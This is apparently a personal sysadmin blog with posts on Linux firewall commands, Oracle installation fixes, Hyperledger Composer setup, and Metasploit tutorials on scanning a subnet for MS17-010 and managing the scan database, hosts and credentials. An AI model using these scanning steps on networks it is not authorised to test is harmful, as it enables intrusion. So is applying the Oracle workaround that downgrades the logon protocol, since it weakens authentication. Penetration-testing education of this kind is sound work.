khanhnnvn

Network command

 Linux  Comments Off on Network command
Aug 272018
 
  1. Cài đặt công cụ mạng:

yum install net-tools

2. Câu lệnh add route và kiểm tra route

route -n

ip route add 172.16.122.11 via 172.16.216.1 dev eth0

3. Kiểm tra các port đang mở bởi service

lsof -i tcp:22

Firewall on Linux

 Linux  Comments Off on Firewall on Linux
Aug 232018
 

1055 ufw allow 8080
1138 ufw status
1139 ufw allow 3000
1144 ufw allow 4200
1603 ufw –help
1604 ufw enable –help
1605 ufw allow 8090
1606 ufw reload
1737 ufw allow 8686/tcp
1738 ufw reload
1756 ufw allow 5984/tcp
1757 ufw allow reload
1758 ufw allow reloads
1759 ufw reload
2004 ufw allow from x.x.x.x to any port 9527

Oracle installation errors and fixes

 Database  Comments Off on Oracle installation errors and fixes
Aug 212018
 

This article will list all errors/issues I encounter during Oracle installation with their fix.
It will be updated with all new errors I will encounter.

In this article …
… “Fix prior install” needs jar binary. Install it with the following command:

$ yum -y install java-devel

memcpy error in ins_ctx.mk

Operating System: Oracle Enterprise Linux 7
Oracle version: 11.2.0.1

Error output

INFO: gcc -o ctxhx -m64 -L/u01/app/oracle/product/11.2.0/db_1/ctx/lib/ -L/u01/app/oracle/product/11.2.0/db_1/lib/ -L/u01/app/oracle/product/11.2.0/db_1/lib/stubs/  /u01/app/oracle/product/11.2.0/db_1/ctx/lib/ctxhx.o -L/u01/app/oracle/product/11.2.0/db_1/ctx/lib/ -lm -lsc_fa -lsc_ex -lsc_da -lsc_ca -lz  -lctxhx -Wl,-rpath,/u01/app/oracle/product/11.2.0/db_1/ctx/lib -lsnls11 -lnls11  -lcore11 -lsnls11 -lnls11 -lcore11 -lsnls11 -lnls11 -lxml11 -lcore11 -lunls11 -lsnls11 -lnls11 -lcore11 -lnls11  `cat /u01/app/oracle
INFO: /product/11.2.0/db_1/lib/sysliblist`
 
INFO: /lib64/libstdc++.so.5: undefined reference to `[email protected]_2.14'
collect2: error: ld returned 1 exit status
 
INFO: make: *** [ctxhx] Error 1
 
INFO: End output from spawned process.
INFO: ----------------------------------
INFO: Exception thrown from action: make
Exception Name: MakefileException
Exception String: Error in invoking target 'install' of makefile '/u01/app/oracle/product/11.2.0/db_1/ctx/lib/ins_ctx.mk'. See '/u01/app/oraInventory/logs/installActions2015-04-17_10-00-15PM.log' for details.
Exception Severity: 1

Solution

Fix prior install

Execute the following script:

# Fix ctx/lib/ins_ctx.mk
 
ORACLE_SRC_INSTALL_DIR=/media/sf_uxora_share/database
cd ${ORACLE_SRC_INSTALL_DIR}/stage/Components
 
jar_file=
for i_file in $( ls ./oracle.ctx/11.2.0.1.0/1/DataFiles/filegroup*.jar ); do
unzip -l ${i_file} ctx/lib/ins_ctx.mk 2>&1 1>/dev/null
[[ $? -eq 0 ]] && jar_file=${i_file} && break
done
 
cat << __EOF__ > /tmp/memcpy_wrap.c
#include <stddef.h>
#include <string.h>
 
asm (".symver wrap_memcpy, [email protected]_2.14");
void *wrap_memcpy(void *dest, const void *src, size_t n) {
return memcpy(dest, src, n);
}
__EOF__
unzip ${jar_file} ctx/lib/ins_ctx.mk 2>&1 1>/dev/null
if [[ $? -eq 0 ]]; then
sed -i -e 's/\$(INSO_LINK)/\$(INSO_LINK) -Wl,--wrap=memcpy_wrap \$(ORACLE_HOME)\/ctx\/lib\/memcpy_wrap.o/g' ctx/lib/ins_ctx.mk
gcc -c /tmp/memcpy_wrap.c -o ctx/lib/memcpy_wrap.o && rm /tmp/memcpy_wrap.c
jar -uvf  ${jar_file} ctx/lib/ins_ctx.mk ctx/lib/memcpy_wrap.o
fi

Fix during install

This fix can only be done in GUI mode installer.
When the windows prompt this error message:

Error in invoking target 'install' of makefile '/u01/app/oracle/product/11.2.0/db_1/ctx/lib/ins_ctx.mk'. See '/u01/app/oraInventory/logs/installActions2015-04-17_10-00-15PM.log' for details.

Execute the following script then click retry to resume install

# Fix ctx/lib/ins_ctx.mk
 
ORACLE_HOME=/u01/app/oracle/product/11.2.0/db_1
 
cat << __EOF__ > /tmp/memcpy_wrap.c
#include <stddef.h>
#include <string.h>
 
asm (".symver wrap_memcpy, [email protected]_2.14");
void *wrap_memcpy(void *dest, const void *src, size_t n) {
return memcpy(dest, src, n);
}
__EOF__
 
if [[ -e "${ORACLE_HOME}/ctx/lib/ins_ctx.mk" ]]; then
sed -i -e 's/\$(INSO_LINK)/\$(INSO_LINK) -Wl,--wrap=memcpy_wrap \$(ORACLE_HOME)\/ctx\/lib\/memcpy_wrap.o/g' ${ORACLE_HOME}/ctx/lib/ins_ctx.mk
gcc -c /tmp/memcpy_wrap.c -o ${ORACLE_HOME}/ctx/lib/memcpy_wrap.o && rm /tmp/memcpy_wrap.c
fi

ins_emagent.mk error

Operating System: Oracle Enterprise Linux 7
Oracle version: 11.2.0.1

Error output

INFO: ib/amd64 -z lazyload -ljava -ljvm -lverify -z nolazyload -Wl,-rpath,/u01/app/oracle/product/11.2.0/db_1/lib/:/u01/app/oracle/product/11.2.0/db_1/sysman/lib/:/u01/app/oracle/product/11.2.0/db_1/jdk/jre/lib/amd64/server:/u01/app/oracle/product/11.2.0/db_1/jdk/jre/lib/amd64 -Wl,--allow-shlib-undefined    `cat /u01/app/oracle/product/11.2.0/db_1/lib/sysliblist` -ldl -lm
 
INFO: /u01/app/oracle/product/11.2.0/db_1/sysman/lib/ins_emagent.mk:127: warning: overriding recipe for target `nmosudo'
/u01/app/oracle/product/11.2.0/db_1/sysman/lib/ins_emagent.mk:56: warning: ignoring old recipe for target `nmosudo'
 
INFO: /usr/bin/ld: warning: -z lazyload ignored.
/usr/bin/ld: warning: -z nolazyload ignored.
/usr/bin/ld: /u01/app/oracle/product/11.2.0/db_1/sysman/lib//libnmectl.a(nmectlt.o): undefined reference to symbol 'B_DestroyKeyObject'
/usr/bin/ld: note: 'B_DestroyKeyObject' is defined in DSO /u01/app/oracle/product/11.2.0/db_1/lib/libnnz11.so so try adding it to the linker command line
/u01/app/oracle/product/11.2.0/db_1/lib/libnnz11.so: could not read symbols: Invalid operation
collect2: error: ld returned 1 exit sta
INFO: tus
 
INFO: make[1]: Leaving directory `/u01/app/oracle/product/11.2.0/db_1/sysman/lib'
 
INFO: make[1]: *** [/u01/app/oracle/product/11.2.0/db_1/sysman/lib/emdctl] Error 1
make: *** [emdctl] Error 2
 
INFO: End output from spawned process.
INFO: ----------------------------------
INFO: Exception thrown from action: make
Exception Name: MakefileException
Exception String: Error in invoking target 'agent nmhs' of makefile '/u01/app/oracle/product/11.2.0/db_1/sysman/lib/ins_emagent.mk'. See '/u01/app/oraInventory/logs/installActions2015-04-23_01-23-30PM.log' for details.
Exception Severity: 1

Solution

Fix prior install

Execute the following script:

# Fix sysman/lib/ins_emagent.mk
 
ORACLE_SRC_INSTALL_DIR=/media/sf_uxora_share/database
cd ${ORACLE_SRC_INSTALL_DIR}/stage/Components
 
jar_file=
for i_file in $( ls ./oracle.sysman.agent/*/1/DataFiles/filegroup*.jar ); do
unzip -l ${i_file} sysman/lib/ins_emagent.mk 2>&1 1>/dev/null
[[ $? -eq 0 ]] && jar_file=${i_file} && break
done
 
unzip ${jar_file} sysman/lib/ins_emagent.mk 2>&1 1>/dev/null
if [[ $? -eq 0 ]]; then
sed -i -e 's/\$(MK_EMAGENT_NMECTL)/\$(MK_EMAGENT_NMECTL) -lnnz11/g' sysman/lib/ins_emagent.mk
jar -uvf  ${jar_file} sysman/lib/ins_emagent.mk
fi

Fix during install

This fix can only be done in GUI mode installer. When the windows prompt this error message:

Error in invoking target 'agent nmhs' of makefile '/u01/app/oracle/product/11.2.0/db_1/sysman/lib/ins_emagent.mk'. See '/u01/app/oraInventory/logs/installActions2015-04-23_01-23-30PM.log' for details.

Execute the following script then click retry to resume install

# Fix ctx/lib/ins_ctx.mk
 
ORACLE_HOME=/u01/app/oracle/product/11.2.0/db_1
 
if [[ -e "${ORACLE_HOME}/sysman/lib/ins_emagent.mk" ]]; then
sed -i -e 's/\$(MK_EMAGENT_NMECTL)/\$(MK_EMAGENT_NMECTL) -lnnz11/g' ${ORACLE_HOME}/sysman/lib/ins_emagent.mk
fi

ORA-00845

Operating System: Oracle Enterprise Linux 7
Oracle version: Any

Error output

ORA-00845: MEMORY_TARGET not supported on this system

Solution

Reduce memory target parameter

Increase the size of /dev/shm

# check filesystems
$ df -h
Filesystem                                 Size  Used Avail Use% Mounted on
/dev/mapper/ol-root                         14G  5.0G  9.0G  36% /
devtmpfs                                   3.8G     0  3.8G   0% /dev
tmpfs                                      3.8G  1.9G  2.0G  48% /dev/shm
tmpfs                                      3.8G  8.9M  3.8G   1% /run
tmpfs                                      3.8G     0  3.8G   0% /sys/fs/cgroup
/dev/vdb1                                   32G   11G   22G  33% /u01
/dev/vda1                                  497M  150M  348M  31% /boot
 
# increase /dev/shm accordingly to your max ram memory
$ mount -o remount,size=6G /dev/shm
 
# make this change permanent, add/change /etc/fstab
$ vi /etc/fstab
...
tmpfs  /dev/shm  tmpfs  defaults,size=6G  0 0
...
 
# update mount
$ mount -a

ORA-19502/ORA-27072

Operating System: Oracle Enterprise Linux 7
Oracle version: Any

Error output

...
ORA-19502: write error on file "...",
block number 251905 (block size=512)
ORA-27072: File I/O error
Linux-x86_64 Error: 25: Inappropriate ioctl for device
...

Solution

Free disk space/Add disk space

There is not enough disk space. Check disk space with df -h <path>

ORA-28040: No matching authentication protocol

Operating System: Any
Oracle version: from 12.1.0.1

Error output

ORA-28040: No matching authentication protocol
ORA-01017: invalid username/password; logon denied

You may encounter this error with a new 12c database because Oracle Enterprise Cloud Manager 12c is still using the old 10g JDBC driver (ojdbc14.jar) to connect.

Prior to version 12c, the default setting for SQLNET.ALLOWED_LOGON_VERSION (deprecated parameter in 12c) was 8. Now in 12c the default value of the 12c equivalent parameters SQLNET.ALLOWED_LOGON_VERSION_CLIENT and SQLNET.ALLOWED_LOGON_VERSION_SERVER are now 11.

Solution/Workaround

# Set minimum logon authentification version in sqlnet.ora
# To avoid ORA-28040: No matching authentication protocol
[oracle]$ cat >> $ORACLE_HOME/network/admin/sqlnet.ora <<_EOF_
SQLNET.ALLOWED_LOGON_VERSION_SERVER=8
SQLNET.ALLOWED_LOGON_VERSION_CLIENT=8
_EOF_
 
# Recreate oracle user password to be compatible 10G
# To avoid ORA-01017: invalid username/password; logon denied
[oracle]$ sqlplus / as sysdba
 
-- Check password compatibility
SQL> select USERNAME,PASSWORD_VERSIONS from dba_users where USERNAME = 'SYS';
USERNAME                         PASSWORD_VERSIONS
-------------------------------- -----------------
SYS                              11G 12C
 
-- Reinitialize password
SQL> alter user SYS identified by OraSys_pw0 ;
 
User SYS altered.
 
-- Check again password compatibility
SQL> select USERNAME,PASSWORD_VERSIONS from dba_users where USERNAME = 'SYS';
USERNAME                         PASSWORD_VERSIONS
-------------------------------- -----------------
SYS                              10G 11G 12C

Now database instance will accept 10g authentification only with users who have 10G PASSWORD_VERSIONS compatibility.

 

Hope that helps,

Viết Web ứng dụng giao tiếp với Hyperledger Composer

 BlockChain  Comments Off on Viết Web ứng dụng giao tiếp với Hyperledger Composer
Jun 252018
 

Để tương tác với một business network, các ứng dụng có thể gọi đến các REST API. Để tạo một API cho một business network, bạn có thể dùng câu lệnh:

composer-rest-server

Để tạo một ứng dụng  Angular có thể giao tiếp với REST API, ta sử dụng lệnh

yo hyperledger-composer

Bạn có thể tham khảo  Developer Tutorial để biết chi tiết hơn về cách sử dụng lệnh composer-rest-server và các sinh ra một ứng dụng dùng Angular.

Để sinh một ứng dụng Angular từ một Business Network Archive (.BNA) chúng ta thực hiện theo các bước sau:

1. Khởi động Hyperledger Fabric trên máy tính cá nhân của bạ

Nếu bạn đã hoàn thành việc cài đặt môi trường thì Fabric đã được cài đặt trên máy tính của bạn. Bạn chỉ cần chuyển đến thư mục fabric-dev-servers và khởi động Hyperledger Fabric. Chúng ta thực hiện các câu lệnh sau:

cd ~/fabric-dev-servers
./startFabric.sh
./createPeerAdminCard.sh

Câu lện cuối sẽ tạo một PeerAdmin .card  nơi mà sẽ cần thiết để thay đổi mã nguồn chạy trên môi trường phát triển. Để thống ke các card đang dùng chúng ta sẽ có thể dùng lệnh:

composer card list

2. Chuẩn bị Hyperledger Fabric peers

Chúng ta sẽ tạo một dự án có tên là tutorial-network sẽ xuất hiện một ‘PeerAdmin’ card cho bạn..

composer network install --card [email protected] --archiveFile [email protected]

3. Khởi động Business Network trên Hyperledger Fabric

Để khởi động tutorial-network BNA chúng ta dùng lệnh

composer network start --networkName tutorial-network --networkVersion 0.0.1 --networkAdmin admin --networkAdminEnrollSecret adminpw --card [email protected]

Câu lệnh trên sẽ tạo một tập tin có tên [email protected]

Bạn nên ghi nhớ tài khoản admin và mật khẩu adminpw 

4.Cuối cùng bạn sẽ sử dụng ‘admin’ card

Chúng ta sẽ sử dụng câu lệnh:

composer card import --file [email protected]

5. Khởi động REST server

Bạn chỉ cần chạy câu lệnh sau để khởi động API, sau khi chạy xong bạn cần khai báo các thông số

composer-rest-server

  • Bạn cần khai báo cardname trong ví dụ này là [email protected]
  • Bạn điền namespaces
  • Chọn No
  • Chọn Yes
  • Chọn No

Sau đó bạn sẽ truy cập API qua URL:  http://localhost:3000/explorer

6. Generate ứng dụng Angular

Bạn chạy lệnh sau

yo hyperledger-composer

Bạn điền các thông số sau

Welcome to the Hyperledger Composer project generator
? Please select the type of project: Angular
You can run this generator using: 'yo hyperledger-composer:angular'
Welcome to the Hyperledger Composer Angular project generator
? Do you want to connect to a running Business Network? Yes
? Project name: [insert]
? Description: Hyperledger Composer Angular project
? Author name: [insert]
? Author email: [insert]
? License: Apache-2.0
? Name of the Business Network card: [email protected]
? Do you want to generate a new REST API or connect to an existing REST API?  Connect to an existing REST
 API
? REST server address: http://localhost
? REST server port: 3000
? Should namespaces be used in the generated REST API? Namespaces are not used
Created application!

Cuối cùng bạn chuyển đến thư mục ứng dụng vừa tạo ra và gõ lệnh

npm start

Bạn sẽ truy câp link http://localhost:4200

Giao diện sẽ như sau:

 

Khác nhau giữa Hyperledger Fabric và Composer

 BlockChain  Comments Off on Khác nhau giữa Hyperledger Fabric và Composer
Jun 122018
 

What is Hyperledger Fabric?

Hyperledger Fabric là một blockchain không công khai cung cấp nền tảng cho ứng dụng giao dịch của doanh nghiệp. HF cung cấp cơ sở hạ tầng cho một hệ thống Blockchain.

What is Hyperledger Composer?

Hyperledger Composer là một nền tảng cung cấp các giao tiếp nhằm mục đích phát triển ứng dụng một cách nhanh trong trên Hyperledger Fabric. HC hướng đến ứng dụng của Blockchain

Relationship between Fabric and Composer

Dưới đây là biểu đồ cho thấy mối quen hệ giữa Fabric và Composer framework.

Về cơ bản để phát triển ứng dụng bạn vấn cần xây dựng hệ thống HF hoặc sử dụng có sẵn, HC chỉ nhằm mục đích giúp các nhà phát triển dễ dàng triển khai ứng dụng của mình hơn.

Chi tiết về các chức năng, bạn tham khảo hình sau:

Metasploit: Scan một mạng lỗi ms17_010

 Pentest  Comments Off on Metasploit: Scan một mạng lỗi ms17_010
Jun 062018
 

Giới thiệu: Metasploit là một công cụ khá mạnh dành cho các chuyên giá đánh giá. Bài viết dưới đây giới thiệu cách quét một mạng máy tính với lỗi cụ thể.

 

Bước 1: Bạn cần kết nối metasploit với cơ sở dữ liệu:

msfdb init

Bước2: Bạn lệnh sau để scan một mạng, chỉ ra những host online

db_nmap 172.16.12.0/24 -PN

sau khi scan xong, danh sách các host như sau:

Bước 3: Thực hiện scan như sau:

Bạn chỉ cần chạy run sau đó sẽ được kết quả như hình sau:

Giờ bạn chỉ việc khai thác.

Chúc bạn thành công.

Using the Database in Metasploit

 Pentest  Comments Off on Using the Database in Metasploit
Jun 052018
 

Setup our Metasploit Database

In Kali, you will need to start up the postgresql server before using the database.

[email protected]:~# systemctl start postgresql

After starting postgresql you need to create and initialize the msf database with msfdb init

[email protected]:~# msfdb init
Creating database user 'msf'
Enter password for new role: 
Enter it again: 
Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-framework/config/database.yml
Creating initial database schema

 

Using Workspaces in Metasploit

When we load up msfconsole, and run ‘db_status‘, we can confirm that Metasploit is successfully connected to the database.

msf > db_status 
[*] postgresql connected to msf

Seeing this capability is a meant to keep track of our activities and scans in order. It’s imperative we start off on the right foot. Once connected to the database, we can start organizing our different movements by using what are called ‘workspaces’. This gives us the ability to save different scans from different locations/networks/subnets for example.

Issuing the ‘workspace‘ command from the msfconsole, will display the currently selected workspaces. The ‘default‘ workspace is selected when connecting to the database, which is represented by the * beside its name.

msf > workspace
* default
  msfu
  lab1
  lab2
  lab3
  lab4
msf > 

As we can see this can be quite handy when it comes to keeping things ‘neat’. Let’s change the current workspace to ‘msfu’.

msf > workspace msfu
[*] Workspace: msfu
msf > workspace
  default
* msfu
  lab1
  lab2
  lab3
  lab4
msf > 

Creating and deleting a workspace one simply uses the ‘-a‘ or ‘-d‘ followed by the name at the msfconsole prompt.

msf > workspace -a lab4
[*] Added workspace: lab4
msf > 


msf > workspace -d lab4 
[*] Deleted workspace: lab4
msf > workspace

It’s that simple, using the same command and adding the ‘-h‘ switch will provide us with the command’s other capabilities.

 
msf > workspace -h
Usage:
    workspace                  List workspaces
    workspace -v               List workspaces verbosely
    workspace [name]           Switch workspace
    workspace -a [name] ...    Add workspace(s)
    workspace -d [name] ...    Delete workspace(s)
    workspace -D               Delete all workspaces
    workspace -r     Rename workspace
    workspace -h               Show this help information

msf > 

From now on any scan or imports from 3rd party applications will be saved into this workspace.

Now that we are connected to our database and workspace setup, lets look at populating it with some data. First we’ll look at the different ‘db_’ commands available to use using the ‘help’ command from the msfconsole.

msf > help
...snip...

Database Backend Commands
=========================

    Command           Description
    -------           -----------
    creds             List all credentials in the database
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces

Importing and Scanning

There are several ways we can do this, from scanning a host or network directly from the console, or importing a file from an earlier scan. Let’s start by importing an nmap scan of the ‘metasploitable 2’ host. This is done using the ‘db_import‘ followed by the path to our file.

msf >  db_import /root/msfu/nmapScan 
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Rex::Parser::NmapXMLStreamParser'
[*] Importing host 172.16.194.172
[*] Successfully imported /root/msfu/nmapScan
msf > hosts

Hosts
=====

address         mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------  ---------  -----  -------  ----  --------
172.16.194.172  00:0C:29:D1:62:80        Linux    Ubuntu            server         

msf > 

Once completed we can confirm the import by issuing the ‘hosts’ command. This will display all the hosts stored in our current workspace. We can also scan a host directly from the console using the ‘db_nmap’ command. Scan results will be saved in our current database. The command works the same way as the command line version of ‘nmap’

msf > db_nmap -A 172.16.194.134
[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2012-06-18 12:36 EDT
[*] Nmap: Nmap scan report for 172.16.194.134
[*] Nmap: Host is up (0.00031s latency).
[*] Nmap: Not shown: 994 closed ports
[*] Nmap: PORT     STATE SERVICE      VERSION
[*] Nmap: 80/tcp   open  http         Apache httpd 2.2.17 ((Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 

...snip...

[*] Nmap: HOP RTT     ADDRESS
[*] Nmap: 1   0.31 ms 172.16.194.134
[*] Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.91 seconds
msf >


msf > hosts

Hosts
=====

address         mac                name  os_name            os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------            ---------  -----  -------  ----  --------
172.16.194.134  00:0C:29:68:51:BB        Microsoft Windows  XP                server         
172.16.194.172  00:0C:29:D1:62:80        Linux              Ubuntu            server         

msf > 

Backing Up Our Data

Exporting our data outside the Metasploit environment is very simple. Using the ‘db_export‘ command all our gathered information can be saved in a XML file. This format can be easily used and manipulated later for reporting purposes. The command has 2 outputs, the ‘xml‘ format which will export all of the information currently stored in our active workspace, and the ‘pwdump‘ format which exports everything related to used/gathered credentials.

msf >  db_export -h
Usage:
    db_export -f  [-a] [filename]
    Format can be one of: xml, pwdump
[-] No output file was specified

msf > db_export -f xml /root/msfu/Exported.xml
[*] Starting export of workspace msfu to /root/msfu/Exported.xml [ xml ]...
[*]     >> Starting export of report
[*]     >> Starting export of hosts
[*]     >> Starting export of events
[*]     >> Starting export of services
[*]     >> Starting export of credentials
[*]     >> Starting export of web sites
[*]     >> Starting export of web pages
[*]     >> Starting export of web forms
[*]     >> Starting export of web vulns
[*]     >> Finished export of report
[*] Finished export of workspace msfu to /root/msfu/Exported.xml [ xml ]...


Using the Hosts Command

Now that we can import and export information to and from our database, let us look at how we can use this information within the msfconsole. Many commands are available to search for specific information stored in our database. Hosts names, address, discovered services etc. We can even use the resulting data to populate module settings such as RHOSTS. We’ll look how this is done a bit later.

The ‘hosts‘ command was used earlier to confirm the presence of data in our database. Let’s look at the different options available and see how we use it to provide us with quick and useful information. Issuing the command with ‘-h’ will display the help menu.

msf > hosts -h
Usage: hosts [ options ] [addr1 addr2 ...]

OPTIONS:
  -a,--add          Add the hosts instead of searching
  -d,--delete       Delete the hosts instead of searching
  -c <col1,col2>    Only show the given columns (see list below)
  -h,--help         Show this help information
  -u,--up           Only show hosts which are up
  -o          Send output to a file in csv format
  -O        Order rows by specified column number
  -R,--rhosts       Set RHOSTS from the results of the search
  -S,--search       Search string to filter by
  -i,--info         Change the info of a host
  -n,--name         Change the name of a host
  -m,--comment      Change the comment of a host
  -t,--tag          Add or specify a tag to a range of hosts

Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags

We’ll start by asking the ‘hosts‘ command to display only the IP address and OS type using the ‘-c‘ switch.

msf > hosts -c address,os_flavor

Hosts
=====

address         os_flavor
-------         ---------
172.16.194.134  XP
172.16.194.172  Ubuntu

Setting up Modules

Another interesting feature available to us, is the ability to search all our entries for something specific. Imagine if we wished to find only the Linux based machines from our scan. For this we’d use the ‘-S‘ option. This option can be combined with our previous example and help fine tune our results.

msf > hosts -c address,os_flavor -S Linux

Hosts
=====

address         os_flavor
-------         ---------
172.16.194.172  Ubuntu

msf >

Using the output of our previous example, we’ll feed that into the ‘tcp’ scan auxiliary module.

msf  auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   FILTER                        no        The filter string for capturing traffic
   INTERFACE                     no        The name of the interface
   PCAPFILE                      no        The name of the PCAP capture file to process
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target address range or CIDR identifier
   SNAPLEN      65535            yes       The number of bytes to capture
   THREADS      1                yes       The number of concurrent threads
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds

We can see by default, nothing is set in ‘RHOSTS‘, we’ll add the ‘-R‘ switch to the hosts command and run the module. Hopefully it will run and scan our target without any problems.

msf  auxiliary(tcp) > hosts -c address,os_flavor -S Linux -R

Hosts
=====

address         os_flavor
-------         ---------
172.16.194.172  Ubuntu

RHOSTS => 172.16.194.172

msf  auxiliary(tcp) > run

[*] 172.16.194.172:25 - TCP OPEN
[*] 172.16.194.172:23 - TCP OPEN
[*] 172.16.194.172:22 - TCP OPEN
[*] 172.16.194.172:21 - TCP OPEN
[*] 172.16.194.172:53 - TCP OPEN
[*] 172.16.194.172:80 - TCP OPEN

...snip...

[*] 172.16.194.172:5432 - TCP OPEN
[*] 172.16.194.172:5900 - TCP OPEN
[*] 172.16.194.172:6000 - TCP OPEN
[*] 172.16.194.172:6667 - TCP OPEN
[*] 172.16.194.172:6697 - TCP OPEN
[*] 172.16.194.172:8009 - TCP OPEN
[*] 172.16.194.172:8180 - TCP OPEN
[*] 172.16.194.172:8787 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Of course this also works if our results contain more than one address.

msf  auxiliary(tcp) > hosts -R

Hosts
=====

address         mac                name  os_name            os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------            ---------  -----  -------  ----  --------
172.16.194.134  00:0C:29:68:51:BB        Microsoft Windows  XP                server         
172.16.194.172  00:0C:29:D1:62:80        Linux              Ubuntu            server         

RHOSTS => 172.16.194.134 172.16.194.172

msf  auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting                Required  Description
   ----         ---------------                --------  -----------
   CONCURRENCY  10                             yes       The number of concurrent ports to check per host
   FILTER                                      no        The filter string for capturing traffic
   INTERFACE                                   no        The name of the interface
   PCAPFILE                                    no        The name of the PCAP capture file to process
   PORTS        1-10000                        yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS       172.16.194.134 172.16.194.172  yes       The target address range or CIDR identifier
   SNAPLEN      65535                          yes       The number of bytes to capture
   THREADS      1                              yes       The number of concurrent threads
   TIMEOUT      1000                           yes       The socket connect timeout in milliseconds

You can see how useful this may be if our database contained hundreds of entries. We could search for Windows machines only, then set the RHOSTS option for the smb_version auxiliary module very quickly. The set RHOSTS switch is available in almost all of the commands that interact with the database.

Services

Another way to search the database is by using the ‘services‘ command. Like the previous examples, we can extract very specific information with little effort.

 
msf > services -h

Usage: services [-h] [-u] [-a] [-r ] [-p >port1,port2>] [-s >name1,name2>] [-o ] [addr1 addr2 ...]

  -a,--add          Add the services instead of searching
  -d,--delete       Delete the services instead of searching
  -c <col1,col2>    Only show the given columns
  -h,--help         Show this help information
  -s <name1,name2>  Search for a list of service names
  -p <port1,port2>  Search for a list of ports
  -r      Only show [tcp|udp] services
  -u,--up           Only show services which are up
  -o          Send output to a file in csv format
  -R,--rhosts       Set RHOSTS from the results of the search
  -S,--search       Search string to filter by

Available columns: created_at, info, name, port, proto, state, updated_at

Much in the same way as the hosts command, we can specify which fields to be displayed. Coupled with the ‘-S‘ switch, we can also search for a service containing a particular string.

msf > services -c name,info 172.16.194.134

Services
========

host            name          info
----            ----          ----
172.16.194.134  http          Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.194.134  msrpc         Microsoft Windows RPC 
172.16.194.134  netbios-ssn   
172.16.194.134  http          Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.194.134  microsoft-ds  Microsoft Windows XP microsoft-ds 
172.16.194.134  mysql 

Here we are searching all hosts contained in our database with a service name containing the string ‘http’.

msf > services -c name,info -S http

Services
========

host            name  info
----            ----  ----
172.16.194.134  http  Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.194.134  http  Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.194.172  http  Apache httpd 2.2.8 (Ubuntu) DAV/2 
172.16.194.172  http  Apache Tomcat/Coyote JSP engine 1.1 

The combinations for searching are enormous. We can use specific ports, or port ranges. Full or partial service name when using the ‘-s’ or ‘-S’ switches. For all hosts or just a select few… The list goes on and on. Here are a few examples, but you may need to experiment with these features in order to get what you want and need out your searches.

msf > services -c info,name -p 445

Services
========

host            info                                  name
----            ----                                  ----
172.16.194.134  Microsoft Windows XP microsoft-ds     microsoft-ds
172.16.194.172  Samba smbd 3.X workgroup: WORKGROUP   netbios-ssn


msf > services -c port,proto,state -p 70-81
Services
========
host           port proto state
----           ---- ----- -----
172.16.194.134 80   tcp   open
172.16.194.172 75   tcp   closed
172.16.194.172 71   tcp   closed
172.16.194.172 72   tcp   closed
172.16.194.172 73   tcp   closed
172.16.194.172 74   tcp   closed
172.16.194.172 70   tcp   closed
172.16.194.172 76   tcp   closed
172.16.194.172 77   tcp   closed
172.16.194.172 78   tcp   closed
172.16.194.172 79   tcp   closed
172.16.194.172 80   tcp   open
172.16.194.172 81   tcp  closed

msf > services -s http -c port 172.16.194.134
Services
========
host           port
----           ----
172.16.194.134 80
172.16.194.134 443

msf > services -S Unr
Services
========
host           port proto name state info
----           ---- ----- ---- ----- ----
172.16.194.172 6667 tcp   irc  open  Unreal ircd
172.16.194.172 6697 tcp   irc  open  Unreal ircd

CSV Export

Both the hosts and services commands give us a means of saving our query results into a file. The file format is a comma separated value, or CSV. Followed by the ‘-o’ with path and filename, the information that has been displayed on the screen at this point will now be saved to disk.

msf > services -s http -c port 172.16.194.134 -o /root/msfu/http.csv

[*] Wrote services to /root/msfu/http.csv

msf > hosts -S Linux -o /root/msfu/linux.csv
[*] Wrote hosts to /root/msfu/linux.csv

msf > cat /root/msfu/linux.csv
[*] exec: cat /root/msfu/linux.csv

address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments
"172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","server","",""

msf > cat /root/msfu/http.csv
[*] exec: cat /root/msfu/http.csv

host,port
"172.16.194.134","80"
"172.16.194.134","443"

Creds

The ‘creds’ command is used to manage found and used credentials for targets in our database. Running this command without any options will display currently saved credentials.

msf > creds

Credentials
===========

host  port  user  pass  type  active?
